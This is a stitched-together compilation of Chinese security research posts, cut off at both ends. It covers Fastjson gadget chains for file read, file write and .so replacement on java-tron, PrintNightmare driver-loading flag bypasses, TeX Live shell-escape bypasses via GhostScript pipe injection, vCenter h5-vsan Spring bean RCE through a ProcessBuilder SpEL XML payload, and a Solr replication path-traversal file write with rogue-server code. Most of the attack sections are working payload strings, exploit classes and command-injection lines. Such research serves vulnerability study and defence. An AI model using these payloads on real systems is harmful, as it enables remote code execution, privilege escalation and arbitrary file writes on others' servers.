String payload_commons_io_filewrite_7_8 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\",\"start\":0,\"end\":2147483647},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"charsetName\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}";

3.commons-io 逐字节读文件内容

String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"file:///D:/tmp/sss.txt\"},\"charsetName\": \"UTF-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"UTF-8\",\"bytes\": [11]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}";

四、New Gadgets 及实现区块链RCE

PPT中提到了，它没有mysql-jdbc链，且为Spring-boot，无法直接写webshell。虽然我们可以覆盖class文件，但是需要root权限，且并不确定charse.jar path。

然后回到目标本身，java tron是tron推出的公链协议的java实现，是一个开源 Java 应用程序，Java-tron 可以在 tron 节点上启用 HTTP 服务内部使用Fastjson解析Json数据。且：

• Leveldb 和 leveldbjni：

• 快速键值存储库

• 被比特币使用，因此被很多公链继承

• 存储区块链元数据，频繁轮询读写

• 需要效率，所以 JNI https://github.com/fusesource/leveldbjn

综上所述，洞主最终利用Fastjson的几个漏洞，结合Levaldbjni的JNI特性，替换/tmp/目录下的so文件最终执行了恶意命令

1.模拟环境 Levaldbjni_Sample

这里我们简单写了一个Levaldbjni的Demo来模拟漏洞环境，

两次执行factory.open(new File("/tmp/lvltest1"), options);都将会加载

/**
 * @auther Skay
 * @date 2021/8/10 19:35
 * @description
 */

import static org.fusesource.leveldbjni.JniDBFactory.factory;

import java.io.File;
import java.io.IOException;

import org.iq80.leveldb.DB;
import org.iq80.leveldb.Options;

public class Levaldbjni_Sample {
    public static void main(String[] args) throws IOException, InterruptedException {
        Options options = new Options();
        Thread.sleep(2000);
        options.createIfMissing(true);
        Thread.sleep(2000);
        DB db = factory.open(new File("/tmp/lvltest"), options);
        System.out.println("so file created");
        System.out.println("watting attack.......");
        Thread.sleep(30000);
        System.out.println("Exploit.......");
        DB db1 = factory.open(new File("/tmp/lvltest1"), options);

        try {
            for (int i = 0; i < 1000000; i++) {
                byte[] key = new String("key" + i).getBytes();
                byte[] value = new String("value" + i).getBytes();
                db.put(key, value);
            }
            for (int i = 0; i < 1000000; i++) {
                byte[] key = new String("key" + i).getBytes();
                byte[] value = db.get(key);
                String targetValue = "value" + i;
                if (!new String(value).equals(targetValue)) {
                    System.out.println("something wrong!");
                }
            }
            for (int i = 0; i < 1000000; i++) {
                byte[] key = new String("key" + i).getBytes();
                db.delete(key);
            }

            Thread.sleep(20000);
//            Thread.sleep(500000);
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            db.close();
        }
    }
}

运行时会在tmp目录下生成如下文件

可以看到我们的目标就是替换libleveldbjni-64-5950274583505954902.so

2.commons-io 逐字节读文件名

在议题中中对于commons-io的使用是读取/tmp/目录下的随机生成的so文件名，我们现在可以使用file协议读取文件内容了，这里我们使用netdoc协议读取文件名即可，因为是逐字节读取，我们写一个简单的循环判断即可

public static char fakeChar(char[] fileName){
    char[] fs=new char[fileName.length+1];
    System.arraycopy(fileName,0,fs,0,fileName.length);
    for (char i = 1; i <= 127; i++) {
        fs[fs.length-1]=i;
        String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"netdoc:///tmp/\"},\"charsetName\": \"utf-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"utf-8\",\"bytes\": ["+formatChars(fs)+"]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}";
        if (JSON.parse(payload_read_file).toString().indexOf("bOMCharsetName")>0){
            return i;
        }
    }
    return 0;
}

执行效果如下

3.so文件的修改

这里需要一点二进制的知识，首先确定下我们要修改哪个函数

修改如下即可

4.写二进制文件

commons-io的链只支持写文本文件，这里测试了一下，不进行base64编码进行单纯文本方式操作二进制文件写入文件前后会产生一些奇妙的变化

议题作者给出了写二进制文件的一条新链

在进行了base64编码后就不存在上述问题，这里感谢浅蓝师傅提供了一些构造帮助，最后此链构造如下：

/**
 * @auther Skay
 * @date 2021/8/13 14:25
 * @description
 */
public class payload_AspectJ_writefile {
    public static void write_so(String target_path){
        byte[] bom_buffer_bytes = readFileInBytesToString("./beichen.so");
        //写文本时要填充数据
//        String so_content = new String(bom_buffer_bytes);
//        for (int i=0;i<8192;i++){
//            so_content = so_content+"a";
//        }
//        String base64_so_content = Base64.getEncoder().encodeToString(so_content.getBytes());
        String base64_so_content = Base64.getEncoder().encodeToString(bom_buffer_bytes);
        byte[] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content);
//        byte[] big_bom_buffer_bytes = base64_so_content.getBytes();
        String payload = String.format("{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
                "  \"delegate\":{\n" +
                "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "    \"input\":{\n" +
                "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
                "      \"in\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
                "        \"charset\":\"utf-8\",\n" +
                "        \"bufferSize\": 1024,\n" +
                "        \"s\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
                "      },\n" +
                "      \"doEncode\":false,\n" +
                "      \"lineLength\":1024,\n" +
                "      \"lineSeparator\":\"5ZWKCg==\",\n" +
                "      \"decodingPolicy\":0\n" +
                "    },\n" +
                "    \"branch\":{\n" +
                "      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
                "      \"targetPath\":\"%2$s\"\n" +
                "    },\n" +
                "    \"closeBranch\":true\n" +
                "  },\n" +
                "  \"include\":true,\n" +
                "  \"boms\":[{\n" +
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
                "                  \"charsetName\": \"UTF-8\",\n" +
                "                  \"bytes\":" +"%3$s\n" +
                "                }],\n" +
                "  \"x\":{\"$ref\":\"$.bOM\"}\n" +
                "}",base64_so_content, "D://java//Fastjson_All//fastjson_debug//fastjson_68_payload_test_attck//aaa.so",Arrays.toString(big_bom_buffer_bytes));
//        System.out.println(payload);
        JSON.parse(payload);

    }

    public static byte[] readFileInBytesToString(String filePath) {
        final int readArraySizePerRead = 4096;
        File file = new File(filePath);
        ArrayList<Byte> bytes = new ArrayList<>();
        try {
            if (file.exists()) {
                DataInputStream isr = new DataInputStream(new FileInputStream(
                        file));
                byte[] tempchars = new byte[readArraySizePerRead];
                int charsReadCount = 0;

                while ((charsReadCount = isr.read(tempchars)) != -1) {
                    for(int i = 0 ; i < charsReadCount ; i++){
                        bytes.add (tempchars[i]);
                    }
                }
                isr.close();
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        return toPrimitives(bytes.toArray(new Byte[0]));
    }

    static byte[] toPrimitives(Byte[] oBytes) {
        byte[] bytes = new byte[oBytes.length];

        for (int i = 0; i < oBytes.length; i++) {
            bytes[i] = oBytes[i];
        }

        return bytes;
    }
}

5.成功RCE

五、参考链接 & 致谢

*感谢voidfyoo、浅蓝、*RicterZ 在Fastjson Poc方面帮助

感谢Swing、Beichen 在二进制方面帮助

最后感谢郑成功不断督促和鼓励才使得这篇文章得以顺利展示到大家面前

https://www.mi1k7ea.com/2019/11/03/Fastjson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

背景

本月的微软更新包含一个spool的打印机服务本地提权漏洞，自从去年cve-2020-1048被公开以来，似乎许多人开始关注到这一模块的漏洞。鉴于此这个漏洞刚公布出来时，并没有太仔细关注。直到后面关注到绿盟的微信公众号的演示视频，显示这个漏洞可能在域环境特定情况下执行任意代码。所以认为有必要对其原理以及适用范围情况进行分析。

补丁分析

通过补丁对比，可以确定该漏洞触发原理应该是一个在添加打印机驱动的过程中RpcAddPrinterDriverEx()绕过某些检查的漏洞。

根据API文档，RpcAddPrinterDriverEx API用于在打印机服务器上安装打印机驱动；第三个参数为dwFileCopyFlags，指定了服务器在拷贝驱动文件时的行为。文档给出了标志的可能值，结合补丁，我们发现了这样一个标志：APD_INSTALL_WARNED_DRIVER（0x8000），此标志允许服务器安装警告的打印机驱动，也就是说，如果在flag中设置了APD_INSTALL_WARNED_DRIVER，那么我们可以无视警告安装打印机驱动。这刚好是微软补丁试图限制的标志位。

本地提权

我们分析了添加驱动的内部实现（位于localspl.dll的InternalAddPrinterDriver函数），添加驱动的过程如下：

1. 检查驱动签名

2. 建立驱动文件列表

3. 检查驱动兼容性

4. 拷贝驱动文件

如果能够绕过其中的限制，将自己编写的dll复制到驱动目录并加载，就可以完成本地提权。

绕过对驱动文件签名的检查

绕过驱动签名检查的关键函数为ValidateDriverInfo()。分析该函数，我们发现，如果标志位设置了APD_INSTALL_WARNED_DRIVER(0x8000)，那么函数会跳过驱动路径和驱动签名的检查。

绕过建立驱动文件目录函数

CreateInternalDriverFileArray()函数根据文件操作标志来决定是否检查spool驱动目录。如果a5 flag被标志为False，驱动加载函数只会检查用户目录中是否包含要拷贝的驱动文件；否则，函数会尝试到spool驱动目录寻找目标驱动，在本地提权场景下，这将导致列表建立失败。

通过简单分析可以发现，在FileCopyFlags中设置APD_COPY_FROM_DIRECTORY（0x10），即可跳过spool目录检查。

绕过驱动文件版本检查

后续的检查包括对需要添加的驱动的兼容性检查，这里主要是检查我们需要添加的驱动版本信息（这里主要是指版本号的第二位，我后面所描述的版本号都特指第二位）：

下面是用来被当去打印驱动加载的我们自己生成的一个dll文件，

修改dll文件版本号绕过驱动文件兼容性检查：

驱动加载函数InternalAddPrinterDriver中的检查限制了驱动版号只能为0，1，3.

而兼容性检查的内部函数实现（ntprint.dll的PSetupIsCompatibleDriver函数）又限制了该版本号必须大于2。因此，可以修改待加载驱动或dll文件的版本号为3，从而绕过驱动兼容性检查。

驱动文件的复制加载

驱动文件拷贝函数（CopyFileToFinalDirectory）对参数没有额外的限制。函数执行完成后，我们的驱动文件以及依赖就被复制到驱动目录了，复制后的驱动文件会被自动加载。

自动加载驱动：

尝试远程执行代码。

目前，我们已经可以从本地指定的用户目录加载我们自定义的打印机驱动文件到spool驱动目录。之前我们对AddPrinterDriverExW函数的调用第一个参数为空，用来在本地加载。如果直接设置该参数为指定服务器地址，目标会返回我们需要登陆到目标设备的权限的错误。作为测试，我们先通过IPC连接到目标设备，之后再通过我们的驱动添加调用，使远程目标设备从其本地的指定目录复制驱动文件到spool驱动目录并加载。

但这里有一个问题，这个操作仅仅是让目标服务器从本地磁盘复制并加载驱动，在此之前，我们还要使我们自己的驱动文件从攻击机设备的目录上分发到目标设备上。

这里就必须要求目标开启对应的集群后台打印处理程序，之后再次调用AddPrinterDriverExW修改标志为APD_COPY_TO_ALL_SPOOLERS，将本地的驱动文件分发到目标设备磁盘上。

远程加载驱动

最后，我这里并没有使用实际的集群打印服务器的环境。作为测试，我预先复制了驱动文件到目标服务器的指定路径。调用AddPrinterDriverExW使远程目标服务器完成了复制用户目录驱动文件到驱动目录并以system权限加载的过程。

思路验证视频：

漏洞总结

该漏洞的核心是允许普通用户绕过检查，将一个任意未签名dll复制到驱动目录并以系统管理员权限加载起来。而该漏洞可以达到远程触发的效果，则是由于集群打印服务间可以远程分发接收打印驱动文件的特性。

所以就目前的漏洞验证结果来看，该漏洞的危害似乎可能比他的漏洞原理表现出来的要影响更多一点。除了作为本地提权的利用方式之外，如果在一些内部隔离办公环境，启用了这种集群打印服务又没有及时更新系统补丁，该漏洞的作用还是比较有威胁性的。

对 PrintNightmare 0day POC的补充说明

通过最近一两天其他研究人员的证明，目前公开的cube0x0/PrintNightmare poc可以对最新的补丁起作用。鉴于此，我们后续验证了这个原因。

通过分析，补丁函数中对调用来源做了检查，查询当前调用者token失败时，会强制删除掉APD_INSTALL_WARNED_DRIVER(0x8000)的驱动添加标志。从而导致验证不通过。

但是，当我们从远程调用到这个接口，至少目前证实的通过IPC连接到目标后，这里的调用者已经继承了所需要的token，从而绕过检查。

从某种意义上讲，该漏洞修复方案只针对本地提权场景进行了限制，而没有考虑到远程调用对漏洞的影响。

参考

https://mp.weixin.qq.com/s/MjLPFuFJobkDxaIowvta7A

http://218.94.103.156:8090/download/developer/xpsource/Win2K3/NT/public/internal/windows/inc/winsprlp.h

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b

https://github.com/cube0x0/CVE-2021-1675

漏洞时间线：

• 2021/03/08 - 提交漏洞至 TeX 官方；
• 2021/03/27 - 漏洞修复，安全版本：TeX Live 2021；
• 2021/06/06 - 漏洞分析公开。

I. Tex 安全限制概述

TeX 提供了 \write18 原语以执行命令。为了提高安全性，TexLive 的配置文件（texmf.cnf）提供了配置项（shell_escape、shell_escape_commands）去配置 \write18 能否执行命令以及允许执行的命令列表。

其中 shell_escape 有三种配置值，分别为：

• f：不允许执行任何命令
• t：允许执行任何命令
• p：支持执行白名单内的命令（默认）

白名单命令列表可以通过如下命令查询：

kpsewhich --var-value shell_escape_commands

shell_escape 配置值可以通过如下命令查询：

kpsewhich --var-value shell_escape

本文涉及的 CVE 如下：没 advisory 懒得申请了。

II. 挖掘思路

TeX 提供了一个默认的白名单命令列表，如若在调用过程中，这些命令出现安全问题，则会导致 TeX 本身在调用命令的时候出现相同的安全问题。

可以假设：在命令调用的过程中，由于开发者对于命令参数的不完全掌握，有可能存在某个命令参数最终会作为系统命令进行调用的情况。依据这个思路，挖掘白名单内的命令以及白名单内命令的内部调用，并最终得到一个调用链以及相关的参数列表，依据研究人员的经验去判断是否存在安全问题。

III. 在 *nix 下的利用方式

通过针对命令的深入挖掘，发现白名单内的 repstopdf 命令存在安全问题，通过精心构造参数可以执行任意系统命令。

repstopdf 意为 restricted epstopdf，epstopdf 是一个 Perl 开发的脚本程序，可以将 eps 文件转化为 pdf 文件。repstopdf 强制开启了 epstopdf 的 --safer 参数，同时禁用了 --gsopt/--gsopts/--gscmd 等 GhostScript 相关的危险参数，以防止在 TeX 中调用此命令出现安全问题。repstopdf 调用方式如下：

repstopdf [options] [epsfile [pdffile.pdf]]

repstopdf 会调用 GhostScript 去生成 pdf 文件（具体调用参数可以用过 strace 命令进行跟踪），其中传入的 epsfile 参数会成为 GhostScript 的 -sOutputFile= 选项的参数。

通过查阅 GhostScript 的文档可知，GhostScript 的此项参数支持管道操作。当我们传入文件名为：|id 时，GhostScript 会执行 id 命令。于是我们可以构造 repstopdf 的参数实现任意的命令执行操作，不受前文所提及的限制条件限制。利用方式如下所示：

repstopdf '|id #'

在 TeX 内的利用方式为：

\write18{repstopdf "|id #"}

IV. 在 Windows 下的利用方式

Windows 平台下，白名单内存在的是 epstopdf 而非 repstopdf，且相关参数选项与 *nix 平台下不相同，但仍旧存在 --gsopt 选项。利用此选项可以控制调用 GhostScript 时的参数。

此参数只支持设定调用 GhostScript 时的参数选项。参考 GhostScript 的文档，指定参数 -sOutputFile 及其他相关参数即可。利用方式为：

epstopdf 1.tex "--gsopt=-sOutputFile=%pipe%calc" "--gsopt=-sDEVICE=pdfwrite" "--gsopt=-"

V. LuaLaTeX 的安全问题

LuaLaTex 内置了 Lua 解释器，可以在编译时执行 Lua 代码，原语为：\directlua。LuaLaTeX 支持调用系统命令，但是同样地受到 shell_escape 的限制。如在受限（f）模式下，不允许执行任意命令；默认情况下只允许执行白名单内的命令。由于可以调用白名单内的命令，LuaLaTeX 同样可以利用 III、IV 内描述的方式进行利用，在此不做进一步赘述。

LuaLaTeX 的 Lua 解释器支持如下风险功能：

• 命令执行（io.popen 等函数）
• 文件操作（lfs 库函数）
• 环境变量设置（os.setenv）
• 内置了部分自研库（fontloader）

1. 环境变量劫持导致命令执行

通过修改 PATH 环境变量，可以达到劫持白名单内命令的效果。PATH 环境变量指定了可执行文件所在位置的目录路径，当在终端或者命令行输入命令时，系统会依次查找 PATH 变量中指定的目录路径，如果该命令存在与目录中，则执行此命令（https://en.wikipedia.org/wiki/PATH_(variable)）。

将 PATH 变量修改为攻击者可控的目录，并在该目录下创建与白名单内命令同名的恶意二进制文件后，攻击者通过正常系统功能调用白名单内的命令后，可以达到任意命令执行的效果。

2. fontloader 库安全问题

fontloader 库存在典型的命令注入问题，问题代码如下：

// texk/web2c/luatexdir/luafontloader/fontforge/fontforge/splinefont.c
char *Decompress(char *name, int compression) {
    char *dir = getenv("TMPDIR");
    char buf[1500];
    char *tmpfile;

    if ( dir==NULL ) dir = P_tmpdir;
    tmpfile = galloc(strlen(dir)+strlen(GFileNameTail(name))+2);
    strcpy(tmpfile,dir);
    strcat(tmpfile,"/");
    strcat(tmpfile,GFileNameTail(name));
    *strrchr(tmpfile,'.') = '\0';
#if defined( _NO_SNPRINTF ) || defined( __VMS )
    sprintf( buf, "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#else
    snprintf( buf, sizeof(buf), "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#endif
    if ( system(buf)==0 )
return( tmpfile );
    free(tmpfile);
return( NULL );
}

调用链为：

ff_open -> ReadSplineFont -> _ReadSplineFont -> Decompress -> system

通过 Lua 调用 fontloader.open 函数即可触发。此方式可以在受限（f）模式下执行命令。

VI. DVI 的安全问题

DVI（Device independent file）是一种二进制文件格式，可以由 TeX 生成。在 TeX 中，可以利用 \special 原语嵌入图形。TeX 内置了 DVI 查看器，其中 *nix 平台下为 xdvi 命令，Windows 平台下通常为 YAP（Yet Another Previewer）。

1. xdvi 命令的安全问题

xdvi 在处理超链接时，调用了系统命令启动新的 xdvi，存在典型的命令注入问题。问题代码如下：

// texk/xdvik/hypertex.c
void
launch_xdvi(const char *filename, const char *anchor_name)
{
#define ARG_LEN 32
    int i = 0;
    const char *argv[ARG_LEN];
    char *shrink_arg = NULL;

    ASSERT(filename != NULL, "filename argument to launch_xdvi() mustn't be NULL");

    argv[i++] = kpse_invocation_name;
    argv[i++] = "-name";
    argv[i++] = "xdvi";

    /* start the new instance with the same debug flags as the current instance */
    if (globals.debug != 0) {
	argv[i++] = "-debug";
	argv[i++] = resource.debug_arg;
    }
    
    if (anchor_name != NULL) {
	argv[i++] = "-anchorposition";
	argv[i++] = anchor_name;
    }

    argv[i++] = "-s";
    shrink_arg = XMALLOC(shrink_arg, LENGTH_OF_INT + 1);
    sprintf(shrink_arg, "%d", currwin.shrinkfactor);
    argv[i++] = shrink_arg;

    argv[i++] = filename; /* FIXME */
    
    argv[i++] = NULL;
    
...
	    execvp(argv[0], (char **)argv);

2. YAP 安全问题

YAP 在处理 DVI 内置的 PostScripts 脚本时调用了 GhostScript，且未开启安全模式（-dSAFER），可以直接利用内嵌的 GhostScript 进行命令执行。

VII. 漏洞利用

TeX 底层出现安全问题时，可以影响基于 TeX 的相关在线平台、TeX 编辑器以及命令行。下面以 MacOS 下比较知名的 Texpad 进行演示：

VIII. 参考文章

• http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
• https://mirrors.tuna.tsinghua.edu.cn/CTAN/support/epstopdf/epstopdf.man1.pdf
• https://www.texfaq.org/FAQ-spawnprog
• https://0day.work/hacking-with-latex/
• https://www.ghostscript.com/doc/current/Use.htm#Pipes
• https://ruxcon.org.au/assets/2017/slides/hong-ps-and-gs-ruxcon2017.pdf

vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架，包含上百个 bundle。前几日爆出的任意文件写入漏洞即为 vrops 相关的 bundle 出现的问题。在针对其他 bundle 审计的过程中，发现 h5-vsan 相关的 bundle 提供了一些 API 端点，并且未经过授权即可访问。通过进一步的利用，发现其中某个端点存在安全问题，可以执行任意 Spring Bean 的方法，从而导致命令执行。

漏洞时间线：

• 2021/04/13 - 发现漏洞并实现 RCE；
• 2021/04/16 - 提交漏洞至 VMware 官方并获得回复；
• 2021/05/26 - VMware 发布漏洞 Advisory（VMSA-2021-0010）；
• 2021/06/02 - Exploit 公开（from 随风's blog）；
• 2021/06/05 - 本文公开。

0x01. 漏洞分析

存在漏洞的 API 端点如下：

首先在请求路径中获取 Bean 名称或者类名和方法名称，接着从 POST 数据中获取 methodInput 列表作为方法参数，接着进入 invokeService 方法：

invokeServer 先获取了 Bean 实例，接着获取该实例的方法列表，比对方法名和方法参数长度后，将用户传入的参数进行了一个简单的反序列化后利用进行了调用。Bean 非常多（根据版本不同数量有微量变化），如图所示：

其中不乏存在危险方法、可以利用的 Bean，需要跟进其方法实现进行排查。本文中的 PoC 所使用的 Bean 是 vmodlContext，对应的类是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl，其中的 loadVmodlPackage 方法代码如下：

注意到 loadVmodlPackage 会调用 SpringContextLoader 进行加载，vmodPackage 可控。

最终会调用到 ClassPathXmlApplicationContext 的构造方法。ClassPathXmlApplicationContext 可以指定一个 XML 文件路径，Spring 会解析 XML 的内容，造成 SpEL 注入，从而实现执行任意代码。

需要注意的是，在 SpringContextLoader 的 getContextFileNameForPackage 会将路径中的 . 替换为 /，所以无法指定一个正常的 IPv4 地址，但是可以利用数字型 IP 绕过：

XML 文件内容及攻击效果如下：

0x02. 不出网利用（6.7 / 7.0）

若要利用此漏洞本质上需要获取一个 XML 文件的内容，而 Java 的 URL 并不支持 data 协议，那么需要返回内容可控的 SSRF 或者文件上传漏洞。这里利用的是返回内容可控的 SSRF 漏洞。漏洞位于 vSAN Health 组件中的 VsanHttpProvider.py：

这里存在一个 SSRF 漏洞，使用的是 Python 的 urlopen 函数进行请求，接着将返回内容在内存中进行解压，并且匹配文件名为 .*offline_bundle.* 的内容并进行返回。Python 的 urlopen 支持 data 协议，所以可以构造一个压缩包并 Base64 编码，构造 data 协议的 URL：

在利用的过程中，将 IP 地址替换为 localhost 即可防止 . 被替换。由于这个端点在 6.5 版本的 vSAN Health 不存在，所以无法在 6.5 版本上不出网利用。

现在虽然不用进行外网请求，但是仍然无法获取命令回显。通过查看 Bean 列表，发现存在名为 systemProperties 的 Bean。同时这个 Bean 也存在方法可以获取属性内容：

所以在执行 SpEL 时，可以将命令暂存到 systemProperties 中，然后利用 getProperty 方法获取回显。最终的 context.xml 内容为：

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[ ls -la /  2>&1 ]]></value>
          </list>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.io.InputStreamReader">
        <constructor-arg>
            <value>#{pb.start().getInputStream()}</value>
        </constructor-arg>
    </bean>
    <bean id="br" class="java.io.BufferedReader">
        <constructor-arg>
            <value>#{is}</value>
        </constructor-arg>
    </bean>
    <bean id="collectors" class="java.util.stream.Collectors"></bean>
    <bean id="system" class="java.lang.System">
        <property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;\n&quot;))) }"/>
    </bean>
</beans>

最终利用需要两个 HTTP 请求进行。第一个请求利用 h5-vsan 组件的 SSRF 去请求本地的 vSAN Health 组件，触发第二个 SSRF 漏洞从而返回内容可控的 XML 文件内容，XML 文件会执行命令并存入 System Properties 中，第二个请求调用 systemProperties Bean 的 getProperty 方法获取输出。最终攻击效果如下：

0x03. 技术总结

0x01. TL; DR

事情要从 Skay 的 SSRF 漏洞（CVE-2021-27905）说起。正巧后续的工作中遇到了 Solr，我就接着这个漏洞进行了进一步的分析。漏洞原因是在于 Solr 主从复制（Replication）时，可以传入任意 URL，而 Solr 会针对此 URL 进行请求。

说起主从复制，那么对于 Redis 主从复制漏洞比较熟悉的人会知道，可以利用主从复制的功能实现任意文件写入，那么 Solr 是否会存在这个问题呢？通过进一步的分析，我发现这个漏洞岂止于 SSRF，简直就是 Redis Replication 文件写入的翻版，通过构造合法的返回，可以以 Solr 应用的权限实现任意文件写。

对于低版本 Solr，可以通过写入 JSP 文件获取 Webshell，对于高版本 Solr，则需要结合用户权限，写入 crontab 或者 authorized_keys 文件利用。

0x02. CVE-2021-27905

Solr 的 ReplicationHandler 在传入 command 为 fetchindex 时，会请求传入的 masterUrl，漏洞点如下：

SSRF 漏洞到这里就结束了。那么后续呢，如果是正常的主从复制，又会经历怎么样的过程？

0x03. Replication 代码分析

我们继续跟进 doFetch 方法，发现会调用到 fetchLatestIndex 方法：

在此方法中，首先去请求目标 URL 的 Solr 实例，接着对于返回值的 indexversion 和 generation 进行判断：

如果全部合法（参加下图的 if 条件），则继续请求服务，获取文件列表：

文件列表包含filelist、confFiles 和 tlogFiles 三部分，如果目标 Solr 实例返回的文件列表不为空，则将文件列表中的内容添加到 filesToDownload 中。这里 Solr 是调用的 command 是 filelist。

获取下载文件的列表后，接着 Solr 会进行文件的下载操作，按照 filesToDownload、 tlogFilesToDownload、confFilesToDownload 的顺序进行下载。

我们随意跟进某个下载方法，比如 downloadConfFiles：

可以发现，saveAs 变量是取于 files 的某个属性，而最终会直接创建一个 File 对象：

也就是说，如果 file 的 alias 或者 name 可控，则可以利用 ../ 进行目录遍历，造成任意文件写入的效果。再回到 fetchFileList 查看，可以发现，filesToDownload 是完全从目标 Solr 实例的返回中获取的，也就是说是完全可控的。

0x04. Exploit 编写

类似于 Redis Replication 的 Exploit，我们也需要编写一个 Rogue Solr Server，需要实现几种 commands，包括 indexversion、filelist 以及 filecontent。部分代码如下：

if (data.contains("command=indexversion")) {
    response = SolrResponse.makeIndexResponse().toByteArray();
} else if (data.contains("command=filelist")) {
    response = SolrResponse.makeFileListResponse().toByteArray();
} else if (data.contains("command=filecontent")) {
    response = SolrResponse.makeFileContentResponse().toByteArray();
} else {
    response = "Hello World".getBytes();
}

t.getResponseHeaders().add("Content-Type", "application/octet-stream");
t.sendResponseHeaders(200, response.length);
OutputStream os = t.getResponseBody();
os.write(response);
os.close()

返回恶意文件的代码如下：

public static ByteArrayOutputStream makeFileListResponse() throws IOException {
    ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
    JavaBinCodec codec = new JavaBinCodec(null);

    NamedList<Object> values = new SimpleOrderedMap<>();
    NamedList<Object> headers = new SimpleOrderedMap<>();
    headers.add("status", 0);
    headers.add("QTime", 1);

    values.add("responseHeader", headers);

    HashMap<String, Object> file = new HashMap<>();
    file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file.put("lastmodified", new Long("123456"));
    file.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();
    fileList.add(file);

    HashMap<String, Object> file2 = new HashMap<>();
    file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file2.put("lastmodified", new Long("123456"));
    file2.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();
    fileList2.add(file2);

    values.add("confFiles", fileList);
    values.add("filelist", fileList2);

    codec.marshal(values, outputStream);
    return outputStream;

其中 DIST_FILE 为攻击者传入的参数，比如传入 ../../../../../../../../tmp/pwn.txt，而 FILE_NAME 是本地要写入的文件的路径。攻击效果如下：

0x01-概述

